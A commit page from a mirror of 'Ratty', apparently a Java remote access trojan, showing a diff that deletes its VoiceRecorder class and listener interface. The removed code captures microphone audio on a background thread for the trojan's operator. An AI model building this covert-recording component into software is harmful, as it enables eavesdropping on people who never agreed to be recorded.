mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
4 changed files with 20 additions and 122 deletions
-
7Ratty/src/de/sogomn/rat/IRecorderListener.java
-
21Ratty/src/de/sogomn/rat/Trojan.java
-
93Ratty/src/de/sogomn/rat/VoiceRecorder.java
-
21Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@ -1,7 +0,0 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
public interface IRecorderListener { |
|||
|
|||
void done(final VoiceRecorder source, final byte[] data); |
|||
|
|||
} |
@ -1,93 +0,0 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.io.ByteArrayOutputStream; |
|||
import java.io.IOException; |
|||
|
|||
import javax.sound.sampled.AudioSystem; |
|||
import javax.sound.sampled.LineUnavailableException; |
|||
import javax.sound.sampled.TargetDataLine; |
|||
|
|||
import de.sogomn.engine.util.AbstractListenerContainer; |
|||
|
|||
public final class VoiceRecorder extends AbstractListenerContainer<IRecorderListener> { |
|||
|
|||
private ByteArrayOutputStream out; |
|||
private TargetDataLine line; |
|||
private Thread thread; |
|||
|
|||
private int limit; |
|||
|
|||
private static final int BUFFER_SIZE = 1024; |
|||
|
|||
public VoiceRecorder(final int maximum) { |
|||
this.limit = maximum; |
|||
} |
|||
|
|||
public VoiceRecorder() { |
|||
this(0); |
|||
} |
|||
|
|||
private byte[] getData() { |
|||
final byte[] data = out.toByteArray(); |
|||
|
|||
out.reset(); |
|||
|
|||
return data; |
|||
} |
|||
|
|||
private void captureAudio() { |
|||
try { |
|||
final byte[] data = new byte[BUFFER_SIZE]; |
|||
|
|||
line.read(data, 0, BUFFER_SIZE); |
|||
out.write(data); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
public void start() { |
|||
final Runnable runnable = () -> { |
|||
while (out.size() < limit) { |
|||
captureAudio(); |
|||
} |
|||
|
|||
stop(); |
|||
|
|||
final byte[] data = getData(); |
|||
|
|||
notifyListeners(listener -> listener.done(this, data)); |
|||
}; |
|||
|
|||
try { |
|||
out = new ByteArrayOutputStream(); |
|||
line = AudioSystem.getTargetDataLine(null); |
|||
thread = new Thread(runnable); |
|||
|
|||
line.open(); |
|||
line.start(); |
|||
thread.setDaemon(true); |
|||
thread.start(); |
|||
} catch (final LineUnavailableException ex) { |
|||
stop(); |
|||
} |
|||
} |
|||
|
|||
public void stop() { |
|||
try { |
|||
thread.interrupt(); |
|||
line.close(); |
|||
out.close(); |
|||
} catch (final IOException ex) { |
|||
//... |
|||
} finally { |
|||
thread = null; |
|||
line = null; |
|||
} |
|||
} |
|||
|
|||
public void setLimit(final int limit) { |
|||
this.limit = limit; |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue